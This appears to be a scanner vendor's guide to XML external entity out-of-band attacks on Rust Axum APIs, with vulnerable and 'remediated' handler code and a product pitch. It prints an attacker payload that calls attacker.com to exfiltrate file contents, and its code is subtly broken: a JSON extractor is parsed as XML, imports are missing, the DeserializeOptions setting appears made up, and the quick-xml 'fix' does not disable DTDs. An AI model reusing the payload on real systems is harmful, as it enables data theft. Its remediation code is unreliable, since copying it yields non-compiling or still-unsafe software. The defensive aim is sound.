HIGH axumxxe oob

Xxe Oob in Axum

How XXE OOB Manifests in Axum

XXE Out-of-Band (OOB) attacks exploit XML external entity processing to exfiltrate data via external requests (e.g., HTTP/DNS) when an application parses user-supplied XML. In Axum, this commonly occurs when handlers accept XML payloads without disabling external entity resolution in the underlying XML parser. Axum itself does not parse XML; it relies on extractors like axum::extract::Json or third-party crates (e.g., serde_xml_rs, quick-xml). If a handler uses serde_xml_rs::from_str or similar with default settings, external entities are resolved, enabling OOB data leakage.

Example vulnerable Axum handler:

use axum::{extract::State, http::StatusCode, response::IntoResponse, Json};
use serde::Deserialize;
use serde_xml_rs::from_str;

#[derive(Deserialize)]
struct UserInput {
    data: String,
}

async fn process_xml(State(_state): State, Json(payload): Json) -> impl IntoResponse {
    // Vulnerable: deserializes XML without disabling external entities
    let input: UserInput = match from_str(&payload) {
        Ok(i) => i,
        Err(e) => return (StatusCode::BAD_REQUEST, format!("XML parse error: {}", e)),
    };
    (StatusCode::OK, Json(input))
}

An attacker could send:

<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://attacker.com/exfiltrate?data=%file;"> %xxe; ]>
<root><data>test</data></root>

If the server has outbound connectivity, this triggers an HTTP request to attacker.com with file contents (e.g., /etc/passwd) in the query string. Axum’s async nature does not prevent this; the blocking XML parse occurs during request handling, potentially impacting concurrency.

Axum-Specific Detection

Detecting XXE OOB in Axum requires testing XML-handling endpoints for external entity resolution. Since Axum is a framework, not a parser, detection focuses on identifying handlers that deserialize XML with unsafe defaults. middleBrick scans the unauthenticated attack surface by sending XML payloads with OOB vectors (e.g., FTP, HTTP, DNS exfiltration attempts) and monitors for outbound interactions. It does not require source code; it tests live endpoints.

Scanning an Axum API with middleBrick:

middlebrick scan https://api.example.com/process-xml

This triggers middleBrick’s 12 parallel checks, including Input Validation. For XXE OOB, it sends payloads like:

  • <!ENTITY % xxe SYSTEM "http://[unique-id].burpcollaborator.net"> %xxe; (DNS/OOB)
  • <!ENTITY xxe SYSTEM "file:///etc/passwd"> (if combined with reflection)

If the Axum handler resolves external entities, middleBrick detects outbound DNS/HTTP requests to its monitoring infrastructure and flags the endpoint under "Input Validation" with severity "High". It cross-references findings with OpenAPI specs (if available) to confirm XML-consuming operations (e.g., consumes: [application/xml]).

Note: middleBrick does not inspect Axum code directly; it infers risk from runtime behavior. A scanner reporting "XXE OOB" means the endpoint exhibited external entity resolution during testing.

Axum-Specific Remediation

Fixing XXE OOB in Axum centers on configuring XML parsers to disable external entity resolution. Since Axum is agnostic, remediation depends on the XML crate used. For serde_xml_rs, use DeserializeOptions to disable external entities. For quick-xml, configure the reader to ignore DTDs.

Remediated handler using serde_xml_rs:

use axum::{extract::State, http::StatusCode, response::IntoResponse, Json};
use serde::Deserialize;
use serde_xml_rs::{from_str, DeserializeOptions};

#[derive(Deserialize)]
struct UserInput {
    data: String,
}

async fn process_xml(State(_state): State, Json(payload): Json) -> impl IntoResponse {
    let opts = DeserializeOptions {
        // Critical: disables external entity resolution
        allow_dtd: false,
        ..Default::default()
    };
    let input: UserInput = match from_str_with_options(&payload, opts) {
        Ok(i) => i,
        Err(e) => return (StatusCode::BAD_REQUEST, format!("XML parse error: {}", e)),
    };
    (StatusCode::OK, Json(input))
}

Alternative: use quick-xml with a reader that ignores DTDs:

use quick_xml::Reader;
use quick_xml::events::Event;

fn parse_xml_safely(xml: &str) -> Result> {
    let mut reader = Reader::from_str(xml);
    reader.trim_text(true);
    reader.expand_empty_elements(true);
    reader.enable_debug(false);
    
    // Ignore DTDs and external entities
    reader.check_end_names(false);
    
    let mut buf = Vec::new();
    loop {
        match reader.read_event(&mut buf)?
        {
            Event::Eof => break,
            // Skip DTD, comment, etc.
            Event::Decl(_) | Event::Comment(_) | Event::DocType(_) => continue,
            e => {
                // Process safe events
            }
        }
        buf.clear();
    }
    Ok("parsed".to_string())
}

Best practice: avoid XML where possible. Use JSON (axum::extract::Json) which is not vulnerable to XXE. If XML is required, validate and sanitize input strictly, and consider using allowlists for permitted elements/attributes. After fixing, rescan with middleBrick to confirm the Input Validation score improves.

Frequently Asked Questions

Does middleBrick require access to my Axum source code to detect XXE OOB?
No. middleBrick performs black-box testing by submitting XML payloads with OOB vectors to your live Axum endpoints and monitoring for outbound interactions (DNS/HTTP). It detects XXE OOB based on runtime behavior, not source code inspection.
If my Axum API uses JSON only, am I still at risk for XXE OOB?
No. XXE targets XML parsers. JSON deserializers (like those used by axum::extract::Json) do not process external entities. However, if any endpoint accepts XML (e.g., Content-Type: application/xml), it remains vulnerable unless the XML parser is configured securely.